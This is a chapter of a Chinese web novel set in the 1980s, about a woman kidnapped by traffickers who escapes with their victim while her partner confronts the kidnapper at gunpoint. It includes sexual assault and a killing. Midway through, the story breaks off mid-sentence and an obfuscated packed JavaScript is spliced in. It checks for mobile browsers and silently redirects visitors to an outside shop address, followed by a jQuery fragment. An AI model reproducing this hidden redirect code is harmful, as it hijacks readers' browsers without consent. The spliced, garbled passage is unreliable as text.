35. 荒野极限逃生

作品:《成了“老式”男友的白月光[八零]

    田满仓不知道去了哪,不过可以肯定之前的声音不是他。


    这是个局,专门针对她的局。


    姚棠月被拖着往山上走,脚后跟在地上拖出两道长长的痕迹。她没再挣扎,只是趁那人换姿势的功夫把手里的钥匙串偷偷丢进路边草丛。


    她的眼睛一直往两边看,仔细观察着地形。


    左边是灌木丛,右边是乱石堆,趁着王家人喘气的功夫,她弯下腰假装脚下打滑栽了一跤,手指一勾就又在草上划了一道。


    每隔几步她都故技重施,直到来到山顶。


    山顶有个破木屋,是从前守林人住的地方,已经荒废了好些年。


    门半开着。姚棠月被推了进去,脚下一个踉跄跪在地上。


    屋里还有几个人。


    王大雷的两个本家兄弟正围绕着一堆柴火喝酒,火堆旁还蜷缩着一位姑娘,正是被拐来的那个。


    她眼神直直盯着火光,明显已经傻了,脸上几道伤口,嘴巴也被咬烂了;上身衣服破破烂烂的,下身干脆就没/穿。


    还是迟了!


    见她这副样子,姚棠月眼眶登时就红了,恨不得当场杀了这群人。


    “哥,这下齐了。”身后有人推她,嘴里不干不净说着:“还是这娘儿们好看,比花钱的那个强多了。”


    王大雷又灌了口酒嘿嘿一笑,“急啥?喝够了再说,今晚可长着呢。”


    姚棠月靠在墙角浑身发冷,眼睛死死盯着那扇没关严实的破门。


    屋里酒味和汗臭味混在一起熏得人想吐,她实在无法忍受。


    ——


    陈向川从镇里回来的时候,天已经黑透了。


    白天他回来过一次,正碰到干儿子独自在家。


    虽然没找到王大雷把那姑娘藏在了什么地方,可和他们的一番斗争是免不了了。他这次回来,是想把唐月和干儿子都先转移到安全的地方再说。


    可满仓说唐月去找他了。她怎么能去找他呢!


    反正一时半会也找不到人,想着事情应该没有到那么糟糕的程度,他决定先把干儿子安顿好再说。


    院门虚掩着,屋里黑漆漆的。他连续叫了几声“唐月”,都无人回答。


    屋里各个房间都是空的,他又举着蜡烛在院外转了一圈,地上好像有什么东西亮了一下。


    他走过去,蹲下捡起来,正是唐月的钥匙扣。


    不对劲,一定出事了!


    陈向川紧紧攥着钥匙扣,心里也像被人紧紧攥住一样。


    都是他的错,他不该支持她留下那个姑娘,他不该报警的!


    他又想起很多话。唐月反复告诉他这里不是七十年代,很多事和以前不一样了,人也是如此,可他还是义无反顾地选择相信别人。


    若不是他执意报警,眼下那姑娘兴许还好好藏在这个家里,唐月也不会失踪。


    陈向川懊悔不已,可再也没有重来的机会了。


    他急匆匆往外跑,脚下一绊摔了一跤。


    这一趴下,借着月光,他看到草叶上有道明显的划痕,分明是用指甲抠出来的。


    他赶紧回屋取来蜡烛,蹲在地上一步步往前走,接连又发现了几处,正好通到山脚下。


    陈向川脑子里轰的一下,突然明白了什么。


    是她!是她在留记号!


    站在山脚下,陈向川缓缓抬头。


    田振华和他说过,山上有座木屋是从前守林人住的,后来他死了,这里就再没人上去了。


    难道唐月被他们带到这里了?


    陈向川举着蜡烛四下查看,果真在一旁的羊肠小道上再次发现了印记!


    大晚上的,要想带着一个非自愿的女子上山,他们非得走这条路不可,否则就得爬山。


    陈向川几乎有八成把握断定,唐月一定是被人带到山上了。


    他摸到山顶木屋,伏在草丛里,谨慎地抬头往前看。


    王大雷的一个兄弟从木屋里走了出来,对着墙角撒了泡尿又回去了。


    等待的这期间又陆续出来两个王大雷的本家兄弟,都是之前大闹冰棍摊时曾和他交手的。


    按照最坏的情况估计,木屋里起码有他们一行五人。


    他往旁边挪了挪,想看清屋里的情况。忽然,一只手从身后捂住他的嘴!


    一定是刚才观察时太认真了都没发现背后的动静,陈向川渗出一身密密麻麻的汗,猛地挣扎,那手却又松开了。


    “别出声。”是姚棠月。


    她蹲在他身旁,脸上沾着草叶,眼睛亮晶晶的。


    “你…”


    “那个女人也在里面,已经疯了。”姚棠月飞快解释着里面情况,没给他多少消化的时间,“我趁他们醉酒了从后窗爬出来的,他们还没发现。”


    陈向川忽然攥住她手,攥得很紧,一脸关切:“你有没有受伤?”


    “没有。”姚棠月抽出手,镇定自若地说,指着木屋侧面,“那边有个柴火堆,你绕过去把柴火堆点着,他们肯定要出来看,那时候我从另一边进去带人。”


    陈向川愣了一下,“还要救她,你一个人?”


    “当然。”姚棠月蹙眉看向他,“难道我俩直接进去跟他们火拼?他们有刀,还有猎枪。”


    “我的意思是现在就跑,不要管她了。”陈向川耐心解释,“满仓已经被我转移到了安全的地方,你不用担心,现在赶紧下山跟我走,我们离开这里再也不回来了。”


    “再也不回来?”想到刚起步的麦芽糖事业,想到自己刚买的一口大锅,姚棠月就忍不住肉疼,可她还是坚定道:“离开可以,我们必须带走她。”


    她的眼神里透着不容反驳的气势:“他们侵犯了她,你知道吗?”


    他们之前已经犯了一次错,让这个可怜的女孩沦落到现在的境地。事到如今,难道要她袖手旁观吗?


    陈向川猝然瞪大了眼,双唇颤了颤再没说什么。


    “小心点。”他叮嘱了一句,蹑手蹑脚朝木屋东侧走去。


    ——


    柴火堆噼里啪啦烧起来,屋内几人还毫无察觉。


    其中一个反应过来,嘀咕了两句:“哥,外面啥动静?”


    “能有啥?野猫呗。”王大雷掂了掂怀里的枪,满不在乎。


    又是一声闷响,柴火堆烧塌了,火星子溅得到处都是。


    “不对!”其中一个跳了起来,“着火啦!”


    几人慌作一团,拿起家伙就往外冲。


    姚棠月从刚才出来的那个窗户翻了进去。屋里一阵浓烟,疯了的姑娘缩在墙角浑身发抖,迈不出一步。


    她冲过去一把拉起姑娘,“走!”


    疯姑娘眼神涣散看着她,忽然紧紧攥住她的手,呢喃着:“站…站…”


    她浑身软得像没有骨头,走两步就往下滑。“我扶你站起来!”姚棠月咬牙,将她半边身子架在肩上,一步一步往外挪,拖着她往后窗走。


    后窗窄,她不配合,就卡在了那。


    姚棠月拼命把她往外推,疼得她叫了一声,外面的喊声突然就近了。


    “别怕!冲出去!”姚棠月咬牙鼓励她。


    疯姑娘突然清醒了一瞬,看着姚棠月的那双眼里有了光,用力一挣,一骨碌滚了出去。


    两人跌在草丛里,大口大口地喘着粗气。


    稍微缓过来后,姚棠月顾不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215196|195587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得陈向川的安危,赶紧攥着她往山下跑。


    陈向川不放心,折回去冲回木屋里,除了地上一摊血迹,什么也看不到。


    脑子里像是一根神经突然断掉,他低喃了一句:“唐月…”跪下去看那摊血,还摸了一下。


    是温的…


    万一是唐月…他根本不敢想!


    陈向川猛地起身,一股滔天怒意萦绕在他的胸口,使他迫不及待地生出一股揍人的冲动。


    跑出去时又被什么绊了一下,他回身一看,是根铁管。


    锈迹斑斑,一头磨得尖尖的,旁边还是一堆乱七八糟的零件:生锈的弹簧,断成两截的枪托等等。


    不是普通的铁管。严格来说,是废猎枪的枪管。


    前世和民兵打交道的时候,老班长教过他修枪。他还说过,真到了要命的时候,手里有根武器也比赤手空拳强。


    方才急气攻心做事不考虑后果,如今静下心来想想也是,打架归打架,没道理他要1V5啊。陈向川蹲下把铁管捡了起来,从容不迫地尝试组装。


    另一边山路上,发现人跑了的王大雷一伙人追了下来。


    “两个女人还受了伤,跑不远的,分头追!”


    他们自发分成三队,左右两人进了山,王大雷拎着猎枪直奔下山的主路。


    跑到半山腰时,路边草丛忽然窜出一人。


    陈向川站在那儿,手里攥着那根锈迹斑斑的铁管。


    王大雷愣了一下,很快笑了,“你他*拿根破管子,就想拦老子?”


    他端起猎枪对准陈向川,“你现在跪下,我还能饶你一条狗命。”


    陈向川没动,看着黑漆漆的枪口反而往前迈了一步。他个子高,这样拦在王大雷面前显得气势汹汹的,好像被拿枪指着的是对面。


    “王大雷,你知道开枪是什么后果吗?”他居高临下地说道。


    “你他*少废话!”王大雷手指扣在扳机上,却迟迟不敢扣下。


    “杀人偿命。”陈向川不动声色地偏了一点,又低沉着道:“开了枪,你可真的没有回头路了。”


    “闭嘴!”王大雷一听这话就来气,咬牙扣下扳机。


    一声枪响惊得野鸟乱飞。


    土枪有后坐力,王大雷头一回开枪不太熟练。在他扣下扳机的一瞬间,陈向川往旁边一扑,子弹擦着他肩膀飞了过去,就打在身后石头上,火星四溅。


    他翻了个身爬起来,王大雷就又冲他扑过来,举着枪托往他头上砸。


    陈向川偏头躲开,那枪托就砸在他肩膀上,疼得他倒抽一口凉气。他力气大,一把抓住枪管,两人扭打在一起。


    身上带的“破管”随着这番打斗滚落在地,王大雷双手掐着他脖子,眼睛瞪得血红,像头发疯的野兽。


    “我弄死你!”


    陈向川脸憋得通红,摸到地上的铁管往他头上一砸,王大雷的手这才松开。


    趁他愣神的工夫,陈向川翻身而起,顺手一抓,一根冰凉的、漆黑的铁管顶在了他脑门上。


    “我说过,开了枪,你就没有回头路了。”陈向川平静地说。


    王大雷瞪大了眼睛,“你、你知道开枪是啥后果吗?”


    “我知道。”陈向川从容不迫,“你买那个大学生的时候,想过后果吗?”


    “你侵犯她的时候,想过后果吗?”


    “你绑架唐月的时候,想过后果吗?”


    “你对我开枪的时候,想过后果吗?”


    王大雷双腿发颤,步步后退着撞到树上。


    枪口下移,正对着他心脏,陈向川面上波澜不惊,“我想过。”


    “你——”


    砰!